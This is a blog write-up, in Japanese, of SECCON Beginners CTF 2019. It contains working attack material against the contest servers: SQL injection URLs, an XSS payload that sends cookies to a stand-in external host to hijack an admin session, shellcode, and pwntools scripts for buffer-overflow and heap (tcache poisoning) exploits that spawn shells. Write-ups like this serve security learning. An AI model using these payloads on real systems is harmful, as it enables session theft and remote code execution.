ゼオスTTのブログ

気が向いた時に、主にプログラミング関係の記事を書くつもり。しかし気が向かない。

SECCON Beginners CTF 2019 write-up

個人参加。8位。
「今年こそ全完」と意気込んでいたが、そう甘くはなかった。

ユーザ登録とチーム登録だけなら1位(最速)。

Web

[warmup] Ramen

美味しいラメーン(せくこん太郎談)の画像に挟まれて、SQLi可能な検索フォームがある。

https://ramen.quals.beginners.seccon.jp/?username=%27%20UNION%20SELECT%200%2C%20table_name%20FROM%20information_schema.tables%20--%20

でテーブル一覧を取得し、

https://ramen.quals.beginners.seccon.jp/?username=%27%20UNION%20SELECT%200%2C%20column_name%20FROM%20information_schema.columns%20WHERE%20table_name%20%3D%20%27flag%27%20--%20

でカラム一覧を取得し、

https://ramen.quals.beginners.seccon.jp/?username=%27%20UNION%20SELECT%200%2C%20flag%20FROM%20flag%20--%20

でフィニッシュ。

ctf4b{a_simple_sql_injection_with_union_select}

katsudon

意図せず、ただのBase64問になってしまった模様。

$ wget -q https://katsudon.quals.beginners.seccon.jp/flag -O - | grep -Po ".*(?=--)" | base64 -d | grep -o ctf4b{.*}

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

Himitsu

[#記事ID#] の機能を利用し、悪意あるタイトルを埋め込むことでXSSが可能。

例えばこんなタイトル。

<script>window.location='https://my.ip.address/?'+document.cookie;</script>

ただし、記事作成時のチェックにより「指定されたIDの記事が存在し、かつ、その記事のタイトルにタグ等が含まれている」場合はエラーとなる。
記事のタイトルにタグを含めるのは確定なので、チェック時には存在しない、「後で作る記事」のIDを指定することを考える。

記事IDは以下のように決定される。

<?php  // シンタックスハイライト用
...
        $created_at = date("Y/m/d H:i");
        $article_key = md5($username . $created_at . $title);

ここから、「この日時に作成するぞ!」と心に決めた日時を用いて、あらかじめ記事IDを求められることが分かる。

そして、あらかじめ求めたIDを埋め込んだ記事を作成→心に決めた日時に「後で作る記事」を作成→元の記事を共有、という流れで PHPSESSID が奪える。

adminとしてログインすると、フラグが書かれた記事が見つかる。 https://himitsu.quals.beginners.seccon.jp/articles/28a147ca4874466215662ac702c730cf

ctf4b{simple_xss_just_do_it_haha_haha}

記事IDの生成に用いられる日時が分単位なのが助かる。
SECCON 2018国内決勝のオンラインカジノ松島は秒単位だったので...

別解

上記バリデーションの後に <p> タグに関する処理が行われるおかげで、
[#[#記事ID#]#] 等とすると任意の記事IDがエラーなしで指定できる。

Pwn

[warmup] shellcoder

シェルコード問。
binsh を含むとアウト。

xorで回避。

from pwn import *

shellcode = '\x48\xb8\xaf\xe2\xe9\xee\xaf\xaf\xf3\xe8\x48\xbb\x80\x80\x80\x80\x80\x80\x80\x80\x48\x31\xd8\x99\x52\x50\x48\x89\xe7\x31\xf6\x8d\x42\x3b\x0f\x05'
# movabs $0xe8f3afafeee9e2af,%rax
# movabs $0x8080808080808080,%rbx
# xor %rbx,%rax
# cltd
# push   %rdx
# push   %rax
# mov    %rsp,%rdi
# xor    %esi,%esi
# lea    0x3b(%rdx),%eax
# syscall

r = remote('153.120.129.186', 20000)

r.sendlineafter('Are you shellcoder?\n', shellcode)

r.interactive()

ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

OneLine

write のアドレスを教えてくれるので、libcのアドレスが分かる。
また、任意のアドレスを指定して飛ぶことができる。

one-gadget RCE。

import sys
from pwn import *

ONE_GADGET = int(sys.argv[1])

target = ELF('./oneline')

libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

r = remote('153.120.129.186', 10000)
# r = process('./oneline')

r.sendlineafter('>> ', 'hoge')

LIBC_BASE = u64(r.recv(0x28)[-8:]) - libc.symbols['write']

payload = 'A' * 0x20 + p64(LIBC_BASE + ONE_GADGET)
r.sendlineafter('>> ', payload)

r.interactive()
$ one_gadget libc-2.27.so -s 'python solve.py'

ctf4b{0v3rwr!t3_Func7!on_p0int3r}

memo

スタック上に確保するバッファのサイズを聞かれる。
小さいサイズを答えると怒られるが、符号なしで比較しているため、負値でも通る。

また、バイナリ中には、 system("sh") してくれる素晴らしい関数 hidden が用意されている。

後は単純にリターンアドレスを hidden に書き換えるだけ、なのだが、
ローカルで通るexploitがリモートで通らない現象が発生。

この前DEF CON CTF Qualifier 2019のspeedrun-005で酷い目に遭ったばかりだったため、
配布されているバイナリとサーバで動いているバイナリが異なるのではないか、と吐かせてみたが、そんなことはなかった。

いろいろ試した結果、先頭の push %rbp; mov %rsp,%rbp を飛ばした位置にリターンすると、リモートでも上手く行くことが分かった。

from pwn import *

target = ELF('./memo')

r = remote('133.242.68.223', 35285)
# r = process('./memo')

r.sendlineafter('Input size : ', '-96')

payload = ''
payload += 'A' * 8
# payload += p64(target.symbols['hidden'])
payload += p64(target.symbols['hidden'] + 4)
r.sendlineafter('Input Content : ', payload)

r.interactive()

ctf4b{h4ckn3y3d_574ck_b0f}

普段、rbpをまともな値に戻すため、基本的には関数の先頭にリターンしていることから、
ここへたどり着くのにかなり時間を要してしまった。

補足

qiita.com

SSEの命令で落ちているのを見るに、スタックが16バイト境界に揃っている必要があるらしい。適当なretに1回飛ばしてスタックのアドレスを調節すれば通った。

なるほどー!
こういう落ち方は全く頭になかった。良い学びを得た。

BabyHeap

とても単純なヒープ問。正しくbabyしているbaby問。

そういえば、こんなことを抜かしている奴がいた。

もちろん余裕で解けたに違いない。

🤔🤔🤔🤔🤔

気を取り直して...

最初に _IO_2_1_stdin_ のアドレスを教えてくれるので、libcのアドレスが分かる。

まず、double freeを利用してtcache poisoningを行い、
malloc__malloc_hook の領域を返すように仕込む( __free_hook でもよい)。

そして、malloc__malloc_hook の領域を返したら、
値をone-gadgetに書き換えて再度 malloc するとシェルが取れる。

import sys
from pwn import *

ONE_GADGET = int(sys.argv[1])

target = ELF('./babyheap')
libc = ELF('./libc-2.27.so')

r = remote('133.242.68.223', 58396)

r.recvuntil('>>>>> ')
LIBC_BASE = int(r.recvline().split()[0], 16) - libc.symbols['_IO_2_1_stdin_']

r.sendlineafter('> ', '1')
r.sendlineafter('Input Content: ', 'hoge')
r.sendlineafter('> ', '2')
r.sendlineafter('> ', '2')
r.sendlineafter('> ', '3')
r.sendlineafter('> ', '1')
r.sendlineafter('Input Content: ', p64(LIBC_BASE + libc.symbols['__malloc_hook']))
r.sendlineafter('> ', '3')
r.sendlineafter('> ', '1')
r.sendlineafter('Input Content: ', 'hoge')
r.sendlineafter('> ', '3')
r.sendlineafter('> ', '1')
r.sendlineafter('Input Content: ', p64(LIBC_BASE + ONE_GADGET))
r.sendlineafter('> ', '3')
r.sendlineafter('> ', '1')

r.interactive()
$ one_gadget libc-2.27.so -s 'python solve.py'

ctf4b{h07b3d_0f_51mpl3_h34p_3xpl017}

ヒープの気持ち(特にtcache)を学ぶにあたって大変良い教材なので、是非解くべき。

Rev

[warmup] Seccompare

何も考えずにltraceした。

$ ltrace ./seccompare hoge |& grep -o ctf4b{.*}

ctf4b{5tr1ngs_1s_n0t_en0ugh}

Leakage

何も考えずにangrした。

import angr
import claripy

flag = claripy.BVS('flag', 8 * 0x22)

proj = angr.Project('./leakage')
state = proj.factory.entry_state(args=['./leakage', flag])
simgr = proj.factory.simgr(state)
simgr.explore(find=0x4006b5)

print(simgr.found[0].solver.eval(flag, cast_to=bytes))

ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear Operation

何も考えずにangrした。

import angr

proj = angr.Project('./linear_operation')
simgr = proj.factory.simgr()
simgr.explore(find=0x40cf78)

print(simgr.found[0].posix.dumps(0))

ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

SecconPass

/dev/urandom から読み込んだ乱数を基に4バイトのkeyを生成し、
c[0] = p[0] ^ key[3]
c[1] = p[1] ^ key[1]
c[2] = p[2] ^ key[3]
c[3] = p[3] ^ key[1]
...
といった具合に暗号化し、リストに登録するプログラム。

で、どこにフラグの手掛かりが...?
と思ったら、 .fini_array セクションに登録された関数内で、暗号化されたそれっぽいデータを登録している。

フラグが ct から始まることを利用してkeyを復元し、decode。

encrypted = '\x54\x4d\x51\x0d\x55\x42\x7e\x54\x47\x55\x04\x54\x04\x57\x43\x0a\x53\x66\x75\x40\x68\x7a\x47\x08\x42\x0c\x47\x08\x42\x0c\x6d'
key = 'A' + chr(ord(encrypted[1]) ^ ord('t')) + 'A' + chr(ord(encrypted[0]) ^ ord('c'))

flag = ''
for i in range(len(encrypted)):
    if i % 2 == 0:
        flag += chr(ord(encrypted[i]) ^ ord(key[3]))
    else:
        flag += chr(ord(encrypted[i]) ^ ord(key[1]))

print(flag)

ctf4b{Impl3m3nt3d_By_Cp1u5p1u5Z

フラグ末尾がおかしいが、

追記: 問題の不具合により、フラグの一部が正常に得られないことが分かりました。 したがって今回は提出されたフラグの先頭 30 文字が正しければ、正解とします。

ということで、これで通る。

Crypto

[warmup] So Tired

ひたすらBase64デコードとzlib伸長を繰り返す。

import base64
import zlib

encrypted = open('./encrypted.txt', 'r').read()

for i in range(500):
    encrypted = base64.b64decode(encrypted)
    encrypted = zlib.decompress(encrypted)

print(encrypted)

ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

Party

「もし party[i]coeff の各要素より大きければ、 val[i]party[i] 進数を10進数に変換したもので、 secret は元の party[i] 進数の1の位」、「1の位は他の位の影響を受けない」などと考え、とりあえず val[i] % party[i] を出力してみた。

from Crypto.Util.number import long_to_bytes

encrypted = eval(open('./encrypted', 'r').read())

for e in encrypted:
    print(long_to_bytes(e[1] % e[0]))

ctf4b{just_d0ing_sh4mir}

secretparty[i] より小さかったためこれで出たが、本来は連立方程式を解くべき。

Go RSA

012 、暗号化されたフラグを渡した結果等から、
e は大きく、 n は毎回変わり、また、パディングせずに c = m^{e} \mod n を計算していると推測。

ここで、 m = 2 の場合の結果を c_2m = 4 の場合の結果を c_4m = 8 の場合の結果を c_8 とすると、
c_2 \cdot c_2 \equiv c_4 \mod nc_2 \cdot c_4 \equiv c_8 \mod n であるから、
c_2 \cdot c_2 - c_4 = k_1 nc_2 \cdot c_4 - c_8 = k_2 n と表せる。

もし \gcd(k_1, k_2) = 1 であれば、 \gcd(c_2 \cdot c_2 - c_4, c_2 \cdot c_4 - c_8) = n となり、復号に成功する。

from pwn import *
from Crypto.Util.number import long_to_bytes
from fractions import gcd

while True:
    r = remote('133.242.17.175', 1337)

    r.recvuntil('Encrypted flag is: ')
    encrypted = int(r.recvline())

    r.sendlineafter('> ', '2')
    c2 = int(r.recvline())

    r.sendlineafter('> ', '4')
    c4 = int(r.recvline())

    r.sendlineafter('> ', '8')
    c8 = int(r.recvline())

    r.recvuntil('The D was ')
    d = int(r.recvline())

    r.close()

    n = gcd(c2 * c2 - c4, c2 * c4 - c8)
    flag = long_to_bytes(pow(encrypted, d, n))

    if flag.startswith('ctf4b'):
        break

print(long_to_bytes(pow(encrypted, d, n)))

ctf4b{f1nd_7he_p4ramet3rs}

実際に試してみると、比較的高い確率で \gcd(k_1, k_2) = 1 となることが分かる(たまに 2 とかになる)。

別解

天才。

e には \varphi(n) を法とする逆元( d )が存在しなくてはならないため、必ず奇数になるはず(さすがに n \neq 1 を仮定)。
であれば、常にこの方法が成り立つ。

Misc

[warmup] Welcome

IRC、あまり質問とかなかったですね。

ctf4b{welcome_to_seccon_beginners_ctf}

containers

binwalkすると、大量のPNGファイルが含まれていることが分かる。

$ binwalk containers

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
16            0x10            PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
107           0x6B            Zlib compressed data, compressed
738           0x2E2           PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
829           0x33D           Zlib compressed data, compressed
...
31524         0x7B24          PNG image, 128 x 128, 8-bit/color RGBA, non-interlaced
31615         0x7B7F          Zlib compressed data, compressed

foremostで取り出す。

$ foremost containers 
Processing: containers
|*|

ディレクトリを開く。

打つ。

ctf4b{e52df60c058746a66e4ac4f34db6fc81}

Dump

fileの結果から、パケットキャプチャだと分かる。

$ file dump
dump: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)

Wiresharkで眺めると、flagをhexdumpした結果が流れているので、頑張って取り出す。

037 213 010 000 012 325 251 134 000 003 354 375 007 124 023 133
327 007 214 117 350 115 272 110 047 012 212 122 223 320 022 252
164 220 052 275 051 204 044 100 050 011 044 024 101 120 274 166
...
243 140 024 214 202 121 060 012 106 301 050 030 005 344 000 000
050 241 022 115 000 060 014 000

あとは、それを元に戻したり解凍したりする。

import subprocess

data = ''.join(map(lambda x: chr(int(x, 8)), open('./flag_hexdumped').read().split()))
open('./flag.tar.gz', 'wb').write(data)
subprocess.call(['tar', '-xf', './flag.tar.gz'])

すると、フラグの書かれた画像が出てくる。

ctf4b{hexdump_is_very_useful}

Sliding puzzle

一からコード書くのは面倒なので、適当に調べたら出てきた
8パズルの最短手を求めるプログラム · GitHub
を改造し、求解はそれに任せて通信に専念することにした。

from pwn import *
import subprocess

r = remote('133.242.50.201', 24912)

for i in range(100):
    r.recvuntil('----------------\n')
    args = ['./solve'] + ''.join(r.recvlines(3)).replace('|', '').split()
    ans = ','.join(subprocess.check_output(args).split()[::-1])
    r.sendlineafter('----------------\n', ans)

r.interactive()

ctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}